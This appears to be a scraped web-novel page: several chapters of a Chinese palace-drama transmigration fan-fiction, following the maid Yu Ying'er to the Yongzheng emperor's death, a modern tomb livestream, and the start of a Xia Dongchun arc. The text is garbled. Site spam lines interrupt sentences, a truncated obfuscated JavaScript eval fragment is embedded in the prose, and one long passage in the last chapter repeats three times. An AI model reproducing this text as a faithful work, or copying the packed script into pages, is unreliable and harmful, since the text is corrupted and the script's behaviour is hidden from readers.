皇后实在不理解好好的华妃,年家的大小姐怎么会因为一个故事就哭成这副模样。 不信邪的皇后用了一匣子金元宝也把余莺儿召唤了过来。 这结果很明显,没有人能从韩式悲情偶像剧里脱身,皇后也不例外。 不过皇后比华妃理智些,两天就能见人了。 主要是她肩膀上的担子太重,赏花宴给皇上定了几个后妃,该张罗起来了。 这次入宫的有熹嫔钮钴禄氏,宁嫔马佳氏,贵人索绰罗氏,贵人舒穆禄氏和贵人郭络罗氏。 等到新一批的后妃进宫,先前的伊尔根觉罗常在和李佳答应有了身孕。 好在这是皇后上任的第一批业绩,为了自己的名声,皇后也不会叫她们出一丁点差错。 余莺儿保胎的业务虽然没了,但是嘉妃又聘请了她照看七阿哥和八阿哥,待遇丰厚。 嘉妃也算是惊弓之鸟,她自认干不过主支的瓜尔佳氏嫡女,所以格外的小心。 好在皇后的身体是真的不错,没多久也发现了身孕。 “皇后娘娘,您叫奴婢有什么事?” 余莺儿倒不觉得皇后有什么坏心思,因为这位皇后才是标准的大家贵女出身。 “本宫有孕,少不得有精力不济的时候,从前余姑姑为皇上管理着后宫井井有条,本宫也只能麻烦你了。” 说着,皇后叫贴身宫女胡桃送了一个四方的黄花梨的匣子给她。 余莺儿接过匣子掂了掂,重量不错。 “皇后娘娘客气了,奴婢为皇后娘娘分忧,不敢当麻烦二字。” 皇后笑意深深,手不自觉的捂着小腹。 “余姑姑不必客气,皇上看重你,本宫也是给皇上添麻烦了。” 皇后说话好听,余莺儿也愿意卖个好。 双方达成了合作共惠的意愿,余莺儿乐颠颠的回了养心殿。 送了余莺儿离开,胡桃扶着皇后进了内室休息。 “余姑姑虽然贪财但是坦荡,娘娘您也能稍微歇歇了。” 胡桃给皇后的腰身处垫了一个软棉的垫子,又端来一杯牛乳,才蹲下给皇后捶着腿。 皇后的怀相一般,恶心呕吐嗜睡等问题都有,为了肚子里这个孩子,她不得不放权。 “进宫前咱们就打探的很清楚,这位余姑姑是有本事的,和皇上的情谊也不一般,能拉拢自然是好的。” 皇后想的很明白,御前的人,明着拉拢不可取,交好是必须要做的。 (接下来有两个想写的,小小吸血蚂蝗浣碧(吸甄家)和十万个为什么夏冬春,你们想看哪个?) 第382 章 余莺儿31 又是一年除夕,皇上看着底下硕果仅存的几个弟弟十分的感慨。 果贝勒犹如五六岁的稚童,每个除夕夜宴都被皇上拉出来溜一圈彰显一下自己的仁德。 而敦亲王,天不怕地不怕的敦亲王,却被果贝勒的下场吓的三魂失了七魄。 他不怕死不怕受罪,却怕老四对他也使这样的阴招。 若是他爱新觉罗允?也变成了这样好糊弄的傻子,被哄的天天喊那老东西四哥怎么办?他敦亲王的面子还要不要了? 光是想想,敦亲王自己给自己惊出一身白毛汗。 皇上和余莺儿也没想到,敦亲王害怕的点居然是这个!太冷门了,甚至让皇上感觉到了冒犯。 不过敦亲王安分那是再好不过了,毕竟现在连年羹尧也老实了下来,敦亲王就算有什么小心思也是无用。 又过了几年,余莺儿有了新的工作项目。 “余姑姑,咱们弘晏正是活泼好动的时候,余姑姑去内务府交待差事后, 若是方便,御花园里准备好了瓜果点心,一起说说话也好。皇上可是亲口夸奖了余姑姑的学识,定是不凡。” 余莺儿看着面前挺着大肚子的玉妃实在没办法拒绝,她给的太多了。 “六阿哥可是要去御花园玩儿?” 余莺儿弯下腰看着已经是读书的年纪的六阿哥笑了笑,这可是他未来的小金主预备役呢。 玉妃时隔几年再次有孕,这几日得了太医的把脉,说是肚子里有双生胎,所以夫子给了六阿哥一天假。 这宫里头的后妃都想着把自家儿子送去余莺儿眼前晃一晃。毕竟先头余莺儿只是随意夸了一句七阿哥伶俐,就被皇上记在心里,召见了多次。 可见余姑姑在皇上心里的地位不一般。 更何况余莺儿作为御前的人,对皇上的喜好和心意最是敏感,和余莺儿多接触接触,对皇子有益。 “余姑姑,前日我得了夫子的奖励,是一尊桃花墨,余姑姑要不要看看?” 六阿哥会长,相貌有七分肖似其额娘,温温柔柔的软包子样儿,格外叫人喜爱,余莺儿的笑容深切了些,点了点头算是应了六阿哥的邀约。 “奴婢还要去内务府办差,等回来再看。” 玉妃拉着弘晏往御花园走,过犹不及,她们总是很有分寸。 皇位之争向来如此,皇上也不介意余莺儿和后妃周旋,如此他这里就少了很多磨烦,能多批两本折子。 “余姑姑,正好在这儿碰见了,娘娘还问起您了呢。” 颂芝的小动静真是百听不厌。 “娘娘可是看完了话本子?” 这几年华妃也升职了,变成了华贵妃。按理来说这个贵妃轮不到她这个没有子嗣的汉军旗。但架不住余莺儿给vic定制了特殊席位,更加衬托出余姑姑的重要性了。 只是她沉迷话本子的习惯一点也没有改变,余莺儿这些存货也说了快一半了。 “可不是,这几日盼儿带着几个奴才给娘娘扮丑呢,您什么时候去看看,娘娘怕是想要听新本子了。” 余莺儿想了想:“后日吧,正好把年大将军的本子一起送来。” 这兄妹俩若是放在后世,那绝对是网文界的大富豪,出手阔绰催更积极。 没有了乌拉那拉宜修的捣乱,皇上的儿子都排序到了十四,公主也排到了七。 这里头可都是余莺儿那药膳的功劳,皇上念着好,给了她不少奖励。 皇子公主多了,余莺儿也格外的忙碌。 好似经了她的手的孩子都能格外顺利,这习俗也不知道是怎么传下来的。不过余莺儿配合的很积极,因为收了钱。 好在皇上这次的皇后选的实在不错,皇位之争虽然残酷,但阿哥们都在前朝使劲,没有把手伸到自家兄弟身上。 三阿哥和五阿哥早早出宫开府,皇上给了郡王和贝勒的爵位安安生生的养孩子,和宫里的腥风血雨毫无关系。 想争位的皇子们也默契的把三哥和五哥隔了去,毕竟一个憨一个混,拉拢起来也没什么价值。 至于四阿哥弘历,在圆明园找了三个暑假的额娘都被余莺儿搅和黄之后,不知是接连受挫影响了心气儿还是没了甄嬛这个天选额娘运气也差了下来。 总之泯然众人,被皇上随意丢了个贝子的爵位娶了先皇后的侄女乌拉那拉青樱,日子过得不好不坏,在那些外家皆是满族大姓的弟弟们的眼里,毫无存在感。 皇后的九阿哥弘日是众位阿哥里资历最好的,又有瓜尔佳氏和赫舍里氏两族的托底,在夺嫡这一赛道一骑绝尘。 为了给自家儿子增加筹码,皇后和瓜尔佳氏一族斥巨资送了百斤金条到了余莺儿的口袋。 此时,余莺儿只庆幸九阿哥是个可塑之才,才华谋略待人接物等方面比他老子还要娴熟老道。这应该就是一个好额娘的重要性了。 皇后是瓜尔佳氏精心教养的嫡女,和先太子妃接受的教育一模一样,文武双全,教导的儿子也是顶好。 如今已是雍正十七年末,即便余莺儿把太医困在养心殿也没什么太大的效果,皇上的身子骨基础就不行,再怎么进补,也是到头了。 “皇上,奴婢的东西也都收拾好了,您别怕,下去奴婢也接着伺候您。” 这些年余莺儿在后宫敛财的能力有目共睹,她和后宫的妃嫔,皇子公主们关系都不错。 但她知道皇上,知道皇室太多秘密了,活着也不过是像曾经的先辈一样被囚禁在某地,亦或弘日大度些,给她个小院子养老。 能赚钱的机会基本上没有,与其那般活着,还不如拼一个忠仆的名声。 皇上其实是清醒的,只不过他没什么力气说话。 轻轻摆了摆手,想让余莺儿不必如此。 但余莺儿可不想今后再给弘日的妃子们保胎了,索性拿着麦丽素在手里,忠心耿耿的继续剖白: “没有皇上,奴婢就是那倚梅园人人都可以欺负的小宫女。奴婢出身不高,也不认得几个字,皇上不嫌弃把奴婢带在身边,许了奴婢那么多俸禄和好处,奴婢不能叫皇上您下去没人伺候。” 立在一旁的高无庸和夏刈傻了眼,这余姑姑不按套路出牌,她这一个大动作倒是忠心不二了,他们两个岂不成了小人? 老搭档的不满余莺儿不往心里去。 主要是这次的黄金收的太多,她甚至觉得弘日盯上了她的小金库。 为今之计,还是跑路最优。 皇上已经是油尽灯枯,传位的圣旨也放到了正大光明牌匾后头,回顾自己这一生,虽然爹不算疼娘也不爱,但收获余莺儿这一知己,也是值得了。 “作为朕身边的第一女官,莺儿在朕的陵寝也应当有一席之地。” 皇上这话叫皇后等人皆是了然,余姑姑自请殉葬,这番打算也是正常。 在雍正十八年初,皇上去世。 同日,余莺儿磕药死在皇上床前,追着主子去了。 皇后和板上钉钉的皇上弘日都松了一口气。 余姑姑跟随先皇不说是最久的,但确实是知道的最多的。这样一个奴才,放到哪都不安全。死了,是最好的。 余莺儿活着,可能会被忌惮,但余莺儿死了,她就是最忠心的余姑姑。 大行皇帝下葬,余莺儿的小棺椁就葬在地宫石门前的石室,虽然简单,但据说余莺儿这些年接的赏赐都被封存在此。 因为余莺儿的寝室空无一物,想来是得了皇上的吩咐,提前送了下去。 实际上,池烟看着自己的空间满意的点了点头。 养心殿的人和新皇弘日的人主打一个信息差。 新皇的登基礼和先帝的葬礼忙都忙不完,余莺儿那点子事双方都认为彼此收拾干净了,所以根本没有对一下口风。 风风光光的余姑姑落下帷幕,回到地府被余莺儿的尖叫撞了个满怀。 “大人太棒了!这简直就是人上人的日子!” 在余莺儿那有限的认知里,只知道做嫔妃是吃香的喝辣的的好日子。 没成想做皇上最信任的女官,也能如此风光。 眼看着余莺儿的身影慢慢消失,池烟手指上挂着一个金镯子晃啊晃,晃到了自己家里。 第383 章 余莺儿番外 “宝宝们主包现在所处的位置就是清泰陵。宝宝们和主包一起来参观一下清朝著名的肝帝雍正帝的陵寝吧!” 冀省保市一个穿着简单运动装短发干练的女孩子举着一个金色的自拍杆正在介绍着身后的陵寝。 这位直播间有一万多观众的主播名包包是考古系的研究生。 也正是因为自己的专业对口才拿到了清泰陵第一次直播权限。 【主包主包听闻大名鼎鼎的余姑姑也在清泰陵是真的吗?】 【主包可以去看看雍正帝是不是和余姑姑一个寝殿吗?】 【够了我说你们够了什么都磕只会害了你们!让我来我有奉献精神。】 【楼上的我都不想说你你那是奉献吗?你那是想磕第一口糖!】 包包看着屏幕上眼花缭乱飞来转去的弹幕眼睛都有些不够使了虽然这不是她第一次直播但观众也太多了吧?难不成是导师买粉了?他们专业什么时候这么有钱花外头了? “好了好了咱们一点点看啊。大家看这座陵寝采用前朝后寝的传统规制从南到北依次排列着石牌坊、大红门、圣德神功碑楼、石像生、龙凤门、神道碑亭、隆恩殿、琉璃花门、二柱门、石五供、方城明楼、宝城宝顶等建筑形成一条长约五公里的中轴线。” 清泰陵的首次直播亮相还是吸引了不少观众的毕竟在清朝的野史里这位雍正帝身边可有位份量颇重的女官余莺儿。 虽说正史里把这主仆二人写的无比清白但比起正儿八经的历史大部分人还是更喜欢脑洞大开的野史。 【据说这位余姑姑在雍正帝登基的第一年还是倚梅园最底层的小宫女。因为一场雪夜的邂逅雍正帝对其一见钟情不顾年宴上的众人直接把余姑姑带回了养心殿。】 【这个我知道朋友你看的是不是{雍正帝不可明说的二三事}里头还记录了余姑姑不愿为宫嫔所以被雍正帝关在养心殿禁足月余的日子。】 【哇塞野史这么野吗?那余姑姑怎么没有变成后妃反而成了女官?皇帝看上一个女人还能叫她跑咯?雍正帝并不是那么有人情味儿的皇帝吧?】 【你这是只知其然不知其所以然。咱们余姑姑虽然出身包衣学识不精但据说她的奇思妙想连敦肃皇贵妃都沉浸其中 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 折子没有其他娱乐活动的雍正帝,简直是简简单单毫无难度好吧!】 包包努力的为大家介绍清泰陵的建筑和构造的作用并不太大,大家还是最关心一件事,那就是余莺儿余姑姑,到底有没有陪葬在清泰陵里。 包包好奇吗?当然啊,学历史的都知道,历史上的皇帝的女官陪葬这一情况极为罕见的。陪葬制度主要针对皇室成员、宠妃、功臣等,女官通常不在其列。 不过明代初期倒是有宫女殉葬的例子,只不过和余莺儿又有很大的不同。 通过清史记录,这位余莺儿余姑姑的一生虽然短暂但却十分的耀眼。 和雍正帝也有密不可分的关系,尤其是雍正帝死前余姑姑主动赴死的言论被当时一旁的大太监高无庸记录了下来,更是引得后人十分好奇。 不过包包也是有任务在身,身上的流程可是导师亲自交待过的,所以也只能耐着性子继续介绍清泰陵。 顺着中轴线慢慢看去,终于到了地宫的入口。 【突然有点激动怎么回事?我磕的cp到底真不真就在此一举了!】 【应该不会吧?哪个皇帝会叫女官陪葬在地宫啊!雍正连自己的皇后和最喜欢的敦肃皇贵妃都没有安排在里头。】 【就是说啊,磕cp的也是够了,那余姑姑要是真那么漂亮,皇上肯定收入后宫了。】 【赞同楼上,最多是普普通通,清朝的时候对包衣的选拔也是有要求的,面容整齐都是基础。肯定是不丑,但漂亮估计也谈不上。】 包包看了眼弹幕小声的替余莺儿解释了一句:“史料里也是有余姑姑的画像的,据说是雍正帝的练手之作。不能说是大美人,但也是个清秀佳人。” 得益于余莺儿改变了一点点历史,登基的弘日是个眼光长远格外有大局观的帝王。扛着史官御史的笔杆子,愣是把海禁取消了。 弘日作风强硬,对周边的宵小国家没什么好脸色。再加上年羹尧在抄家路上受到阻碍后跑出去偷挖了别人家的金矿。这一个香饽饽摆在了弘日面前,弘日面不改色的笑纳了。 国力繁盛,这一方的百姓没有经历那些痛苦,自然而又顺滑的站到了世界的顶端。 所以这些历史,这些文物,挖不完,根本挖不完。 能在史册上留名的人,大部分都有迹可循。 作为离现代 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 人最近的清朝,更是成为了重点挖掘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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(作者历史不好,对陵寝的分布啊什么的也不了解,看过盗墓笔记和鬼吹灯,但重点都在里头的血尸啊,尸鳖啊,虫玉啊这些东西上,对各种地宫陵寝完全没印象,纯瞎编,不要计较。) 第384 章 夏冬春1 (我们小四季荣获了大部分读者的期待,所以先开夏冬春。不要急哈,都有的,因为浣碧那个我也想了挺久了,放心,不给甄嬛当丫鬟,说吸血就吸血,什么时候看过我的女主受委屈对不对。) 池烟这眼睛一闭一睁一段美好的休息日就这么没了。 “池烟同志,池烟同志,听到请回答,听到请回答。” 池烟的打卡器吱吱哇哇一直在叫,终于把陷入深度睡眠的池烟吵醒。 她伸手先往自己的手机方向摸去,睁开一只眼睛看着屏幕上的消息和未接来电又闭上了眼。 过了好一会儿,才从凉飕飕的被窝里爬出来。 赶到打工现场时,九殿已经生无可恋的靠在了墙上。 “这是怎么了?” 池烟看了眼周围,往常热闹的办公区如今安静的像有鬼一样。各位同事假装忙碌的样子十分好笑,和如同受了摧残的九殿像是两种不同的风景。 “你终于来了!” 九殿看到池烟,一把抓住她的手。 两个冰块子碰到一起也没甚感觉,但是池烟就是察觉到了九殿的热切。 “快,这个任务比较紧急,就交给你了。” 九殿说着,把一旁叉着腰撅着嘴一脸不痛快的夏冬春往池烟身前一推,自个儿悄然飘远。 池烟看了眼不聪明的夏冬春,倒没觉得有什么不对。 “大人,你能帮我完成愿望吗?” 夏冬春睁着一双卡姿兰大眼睛满是期待。 然而池烟是个老打工人了,色诱而已,她拒绝。 “你得先说你有什么愿望才行。” 不做亏本生意,这是池烟的职业守则。 夏冬春搅了搅手里的帕子,一脸愤恨的开口:“我要甄嬛,安陵容,沈眉庄,皇后还有华妃都**。” 虽然这个要求池烟是理解的,但她拒绝。 “你付不起这么多人命的报酬。” 夏冬春确实没来得及作恶,但她也没行善啊。 “啊?那我,那我不要她们**,要她们都没有好果子吃,这样可以吗?” 池烟想了想,这行,能干。 “没有别人了吧?” 夏冬春下场太快 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 了,仇人实在不算多,当然这也不算少了。 她憨憨的摇了摇头:“我不求做什么宠妃太后,只想叫我家人也平平安安的。” 看池烟有离去的打算,夏冬春伸手拉了她一把:“还有,我知道我不聪明,你能不能不要把我的脸和脑子都变成别人的样子?” 刚才来了不少大人,一个说要提升她的容貌,一个说要以智取胜,还有说靠生子数量屹立不倒的,听的夏冬春直摇头。 池烟了然,怪不得同事们都跑了,原来和那瓜六一样,不想被开挂。 一般来说,直接使用道具确实对任务完成有很大的帮助,只不过有的任务者愿意,有的任务者不愿意。 “行,我知道了,还有吗?” 这点池烟倒是不反感,只要不是没事就要求把所有人都杀了的要求,她都能听进去。 夏冬春似松了口气一般放开了池烟的胳膊:“没有了没有了,大人您慢走。” 池烟抬腿迈入光圈,意识没有回笼时听力回笼:“把这玫瑰晶并蒂莲海棠簪和这支九凤绕珠缠丝珍珠花簪一起装到盒子里去。” 这两个名字听着就漂亮,夏冬春下意识的开口阻拦:“放着别动!” 眼神渐渐聚焦,面前那个肤色颇深面容憨厚的男子疑惑的看向她,嘴里吐出一句夏冬春不爱听的话:“女儿这是做什么?咱们不是说好了给皇后娘娘挑些礼吗?” 记忆也在一瞬间回笼,夏冬春意识到,殿选已经结束了。 她换了一副神色,不情不愿的看着对面的男人:“为什么要给皇后娘娘送礼?女儿进了后宫便是宫嫔,皇后娘娘本来就应当照顾女儿的。阿玛说的不对,明明是你单方面的决定,女儿可没同意。” 夏威挠了挠头,他明明记着刚才女儿点头了啊。 不过看着夏冬春气哼哼的样子,他下意识的闭上了嘴。 “春儿别胡闹,你自幼在府上就没有好好学过规矩,今**宫若是有个万一,皇后娘娘总能助你一下。” 夏威虽然在女人争斗这事上不算聪明,但确实是一心在为夏冬春打算。 只是皇后此人本就靠不住,夏冬春才不舍得把这么好的东西给她。那简直是肉包子打狗,有去无回。 “阿玛可动动脑子吧,皇后娘娘若能帮女儿,这殿选前能眼睁睁的看着女儿被那大 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 理寺少卿的女儿欺负吗?!” 虽然选上了,但夏冬春的衣裳确实是毁了,夏威回来还问了一嘴呢,自然对这个甄远道之女有些了解。 听到女儿这话,他顺着这思路想了想,觉得女儿说的也对。 “可是,你这性子,若没人照看着,阿玛哪里能放心。” 夏威叹了口气,高大的身板此刻也佝偻了下来,粗糙的大手搓了搓脸,眼底的迷茫清晰可见。 夏冬春挥动了一下手里的帕子无所 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对于夏冬春,皇上其实并不算有印象。毕竟有小纯元珠玉在前,其她人就显得有些平庸了。 苏培盛一躬身一点磕绊都没打:“回皇上,殿选时,您随手一指,说有趣的那位小主。” 这话倒叫皇上有了记忆,他细细回想,也没想起来这位夏冬春的模样,只记得她好似很明艳。 “嗯,夏威是个好的。” 主动给皇上送钱的,都是好的。 苏培盛把这话记了下来,虽然看好甄嬛,但也决定给夏冬春卖个好。 傍晚时,皇后拿着拟好的位分来到养心殿。 皇上瞧了瞧只改了两个人,一是甄嬛,只是常在皇上觉得委屈了她,赐了封号莞。 二是夏冬春,毕竟收了夏威的银票,皇上很大方的也给了一个封号,惠。至于是贤惠还是实惠,那就没必要深究了。 皇后的脸色有些难看,甄嬛便罢了,这位夏冬春又是哪一号人物? 想了想,把分配宫室的任务又送到了华妃手里。 只是先头定下去延禧宫的夏常在,因为多了个封号被皇后记恨一并和莞常在一起放到了承乾宫。 华妃哪里看的了这个,承乾宫,她自个儿都没住进去呢,那些新人也配? “莞常在就去碎玉轩吧,至于这惠常在,碎玉轩已经有两位小主了,那便,去储秀宫住着就是。” 到底夏冬春没有在殿选的时候和皇上聊天,不如甄嬛的仇恨值大,华妃随便挑了个宫室就把她扔了进去。 在府上接到圣旨的夏冬春:她就说吧,皇上贪财。 第385 章 夏冬春2 来到夏府的教导嬷嬷收了华妃的银子,根本没打算好好教导夏冬春规矩。 她敷衍的把宫规笼统的在嘴里过了一圈,也不管夏冬春和身边的婢女听没有听懂,直接进入到了下一个环节。 夏冬春皱眉看着那名唤北荷的嬷嬷,居高临下的猛然凑近:“嬷嬷这是何意?难不成宫里头的宫规只有这么一点点? 还是嬷嬷自个儿都不清不楚的就来当这个教导嬷嬷了?为什么皇上会派你这样的奴才来敷衍我?莫不是皇上对夏府有什么敲打?” 她的声音又大又急,噼里啪啦的把罪名扣在了嬷嬷的头上,砸的北荷头晕眼花。 还未来得及开口解释求饶,只听得这位惠常在冲外头嗷一嗓子,居然叫院子里的小厮送信到了前院。 嬷嬷眼前一黑,这才意识到这位惠常在虽然只是刚刚得封宫嫔的小主,但这夏府的主人夏威,可是在包衣深耕多年的佐领。 “惠常在误会奴婢了,奴婢只是想着循序渐进,不曾想小主如此聪慧。” 夏冬春斜垂着眼看着地上跪着请罪的北荷哼了一声:“从前就听闻后宫里的奴才仗着自己资历深欺负新入宫的嫔妃,原来是真的。” 这话说的实在鲁莽,但这罪名北荷担待不起,麻溜的跪在了地上请罪。 “奴婢该死,万万当不得这话。小主慎言,后宫有皇后娘娘和华妃娘娘管理,绝不会出现如此仆大欺主之事。” 夏冬春看着把额头磕红的嬷嬷也没在意,她甩了甩手里的帕子扭着腰往院子里走。 “你起来吧,我不跟你学了,我叫阿玛上折子再要一个教养嬷嬷来。你心怀不轨,我可不敢用。” 北荷趴在地上的神色晦暗不明,皇上是一国之君,按理说这等小事是送不到皇上面前的。 但,这位惠常在的阿玛毕竟是包衣佐领,手里头有的是她不知道的门道。 与其被退回内务府,还不如拼一把。 “小主,奴婢,奴婢也是听人之命,身不由己。” 夏冬春的脚微微停住,而后在北荷不可置信的目光中越走越远。 “快走快走,这嬷嬷居然还想攀扯她人,万一她攀扯的人比我位份高,岂不是连累我了?谁知道她打什么坏主意,咱们快走。” 夏冬春带着婢女秋香和秋丽快步离开,徒留不 可置信的嬷嬷北荷怔愣在原地半晌没有动作。 夏威接到女儿的消息后,马不停蹄的换上官服再次来到养心殿求助。 “皇上皇上您帮帮奴才的女儿吧。” 看着那硬挤到一起的五官,皇上眼睛像是被刺痛了一样。 “夏威,你这是什么样子,快快起来。” 夏威此人在皇上的印象里并不突出,是个干活有些小聪明但不算特别得用的。不过包衣佐领,总归是自己人,皇上还是愿意给两分面子。 夏威用手背抹了一下眼泪,委委屈屈的站起来把今日得事一五一十的转述出来。 皇上皱了皱眉头,皇后做事这么小家子气了吗?宫嫔不学好规矩怎么进宫?当真是糊涂。 “朕知道了,你莫要说了,一会儿叫朕身边的芳渠跟着你回去,做惠常在的教养嬷嬷。” 芳渠也是皇上身边的宫女,从潜邸时跟着皇上的老人。 不过和芳若不同,她从始至终主子只有皇上一人。而芳若是从前纯元皇后的婢女,后来才到了皇上身边伺候。 夏威想了想自家闺女说的话,确定没有落下别的状没有告后,才喜滋滋的把袖子里的银票放在皇上桌子上。 “那奴才就先告退了。” 皇上看着桌子上的银票突然笑了一声,这夏威看起来贪了不少,不过还好,没多聪明。水至清则无鱼,尤其是包衣,有钱很正常。 芳渠跟着回到夏府,看似不经意的抬头看了看天儿。一旁的夏冬春随着她的视线看去,外头的树上隐隐绰绰的似有个人影儿在蹲着。 她只作不知,欢快的跑着出去迎接自己的新嬷嬷:“新来的嬷嬷吗?我就知道交给皇上准没错。” 芳渠惊了一下,即便是华妃也没有这么活泼的时候,还得是年轻人啊。 “惠常在安好,奴婢芳渠,奉命来教小主规矩。” 夏冬春潦草的也跟着蹲了蹲,拉着芳渠的手往屋子里走:“好,都好,嬷嬷快来,这不听话的奴才我都给你绑起来了。” 芳渠看了一眼被五花大绑的北荷默了默,好在多年在皇上身边的耳濡目染,叫她也练就了一身面瘫的好本领。 “下次小主交给奴婢们处理就是。” 哪里见过这般自给自足的主子啊,芳渠也是开了眼了。 岂料夏冬春歪着脑袋不解的问道:“为什么?” 芳渠缓缓转头,也很不解:“小主是主子,怎就需小主亲自动手了,没得脏了小主的手。” 夏冬春若有所思的看了眼地上被堵着嘴的北荷:“我懂了,那芳渠嬷嬷,你帮我去甄府把那位安小主欠我的银子要回来吧。” 举一反三,夏冬春觉得自己棒棒的。 芳渠感觉自己今天的脑子是不是坏掉了,怎么总听到自己不理解的话呢? “什么银子?是安答应欠您银钱了吗?” 夏冬春在形容自己委屈的时候很有话说,她拉着芳渠坐在椅子上,絮絮叨叨的把选秀当日的情况念叨出来,包括自己要求安陵容下跪那一遭,毕竟她觉得自己可占理了。 芳渠也是开了眼界了,这批宫嫔是不是太奇怪了点,有在家没学过规矩的:惠常在,安答应。 有潜意识里仗势欺人把受委屈者形容成做坏者的:莞常在和沈贵人。 末了,夏冬春拉着芳渠的袖子很不服气的问道:“芳渠嬷嬷,你说,为什么那甄氏和沈氏说是我的问题?为什么不说安答应把茶水撒在我的身上是御前失仪的大事? 为什么要帮着安答应不还钱?为什么甄氏可以随便在皇宫内摘花?为什么安答应不好好站着四处溜达?为什么闹出动静了没有奴才来管?为什么安氏动不动就要哭?为什么甄氏那么爱管闲事?” 芳渠被这一连串的为什么问的头晕眼花,她下意识的思索这夏冬春的问题,在心里也在问自己:为什么啊? 好在夏冬春很快就饿了,抛弃芳渠快快乐乐的跑去用膳,给了芳渠喘息的机会。 芳渠想了想,回到夏府给她准备的屋子里敲了敲窗户。 外头突然出现一个体形瘦小的男人。 两人交换了情报,男人消失在了原地。 芳渠又去了关着北荷的屋子里看了一眼,眼神里没什么温度。 “你也在宫里伺候了很长时间了,虽然不是跟着皇上的老人,但这做奴才的规矩不会不知道。” 北荷奋力扭动着身子成跪爬的样子,芳渠上前把她嘴里的布条拽了出来。 “是华妃,是华妃娘娘给了奴婢银子,叫奴婢不用太过细心教导惠常在的。” 芳渠眼神闪了闪,从潜邸时她就知道华妃跋扈,没想到入宫后都把手伸到新入宫的宫嫔这里了。 “一会儿会有人接你回宫,该怎么说你自己知道,欺君的罪名,我想你担待不起。” 御前的芳渠,根本不是后妃可以拉拢的,毕竟她又不是芳若和苏培盛,连自己主子是谁都不知道。 岂料夏冬春歪着脑袋不解的问道:“为什么?” 芳渠缓缓转头,也很不解:“小主是主子,怎就需小主亲自动手了,没得脏了小主的手。” 夏冬春若有所思的看了眼地上被堵着嘴的北荷:“我懂了,那芳渠嬷嬷,你帮我去甄府把那位安小主欠我的银子要回来吧。” 举一反三,夏冬春觉得自己棒棒的。 芳渠感觉自己今天的脑子是不是坏掉了,怎么总听到自己不理解的话呢? “什么银子?是安答应欠您银钱了吗?” 夏冬春在形容自己委屈的时候很有话说,她拉着芳渠坐在椅子上,絮絮叨叨的把选秀当日的情况念叨出来,包括自己要求安陵容下跪那一遭,毕竟她觉得自己可占理了。 芳渠也是开了眼界了,这批宫嫔是不是太奇怪了点,有在家没学过规矩的:惠常在,安答应。 有潜意识里仗势欺人把受委屈者形容成做坏者的:莞常在和沈贵人。 末了,夏冬春拉着芳渠的袖子很不服气的问道:“芳渠嬷嬷,你说,为什么那甄氏和沈氏说是我的问题?为什么不说安答应把茶水撒在我的身上是御前失仪的大事? 为什么要帮着安答应不还钱?为什么甄氏可以随便在皇宫内摘花?为什么安答应不好好站着四处溜达?为什么闹出动静了没有奴才来管?为什么安氏动不动就要哭?为什么甄氏那么爱管闲事?” 芳渠被这一连串的为什么问的头晕眼花,她下意识的思索这夏冬春的问题,在心里也在问自己:为什么啊? 好在夏冬春很快就饿了,抛弃芳渠快快乐乐的跑去用膳,给了芳渠喘息的机会。 芳渠想了想,回到夏府给她准备的屋子里敲了敲窗户。 外头突然出现一个体形瘦小的男人。 两人交换了情报,男人消失在了原地。 芳渠又去了关着北荷的屋子里看了一眼,眼神里没什么温度。 “你也在宫里伺候了很长时间了,虽然不是跟着皇上的老人,但这做奴才的规矩不会不知道。” 北荷奋力扭动着身子成跪爬的样子,芳渠上前把她嘴里的布条拽了出来。 “是华妃,是华妃娘娘给了奴婢银子,叫奴婢不用太过细心教导惠常在的。” 芳渠眼神闪了闪,从潜邸时她就知道华妃跋扈,没想到入宫后都把手伸到新入宫的宫嫔这里了。 “一会儿会有人接你回宫,该怎么说你自己知道,欺君的罪名,我想你担待不起。” 御前的芳渠,根本不是后妃可以拉拢的,毕竟她又不是芳若和苏培盛,连自己主子是谁都不知道。 岂料夏冬春歪着脑袋不解的问道:“为什么?” 芳渠缓缓转头,也很不解:“小主是主子,怎就需小主亲自动手了,没得脏了小主的手。” 夏冬春若有所思的看了眼地上被堵着嘴的北荷:“我懂了,那芳渠嬷嬷,你帮我去甄府把那位安小主欠我的银子要回来吧。” 举一反三,夏冬春觉得自己棒棒的。 芳渠感觉自己今天的脑子是不是坏掉了,怎么总听到自己不理解的话呢? “什么银子?是安答应欠您银钱了吗?” 夏冬春在形容自己委屈的时候很有话说,她拉着芳渠坐在椅子上,絮絮叨叨的把选秀当日的情况念叨出来,包括自己要求安陵容下跪那一遭,毕竟她觉得自己可占理了。 芳渠也是开了眼界了,这批宫嫔是不是太奇怪了点,有在家没学过规矩的:惠常在,安答应。 有潜意识里仗势欺人把受委屈者形容成做坏者的:莞常在和沈贵人。 末了,夏冬春拉着芳渠的袖子很不服气的问道:“芳渠嬷嬷,你说,为什么那甄氏和沈氏说是我的问题?为什么不说安答应把茶水撒在我的身上是御前失仪的大事? 为什么要帮着安答应不还钱?为什么甄氏可以随便在皇宫内摘花?为什么安答应不好好站着四处溜达?为什么闹出动静了没有奴才来管?为什么安氏动不动就要哭?为什么甄氏那么爱管闲事?” 芳渠被这一连串的为什么问的头晕眼花,她下意识的思索这夏冬春的问题,在心里也在问自己:为什么啊? 好在夏冬春很快就饿了,抛弃芳渠快快乐乐的跑去用膳,给了芳渠喘息的机会。 芳渠想了想,回到夏府给她准备的屋子里敲了敲窗户。 外头突然出现一个体形瘦小的男人。 两人交换了情报,男人消失在了原地。 芳渠又去了关着北荷的屋子里看了一眼,眼神里没什么温度。 “你也在宫里伺候了很长时间了,虽然不是跟着皇上的老人,但这做奴才的规矩不会不知道。” 北荷奋力扭动着身子成跪爬的样子,芳渠上前把她嘴里的布条拽了出来。 “是华妃,是华妃娘娘给了奴婢银子,叫奴婢不用太过细心教导惠常在的。” 芳渠眼神闪了闪,从潜邸时她就知道华妃跋扈,没想到入宫后都把手伸到新入宫的宫嫔这里了。 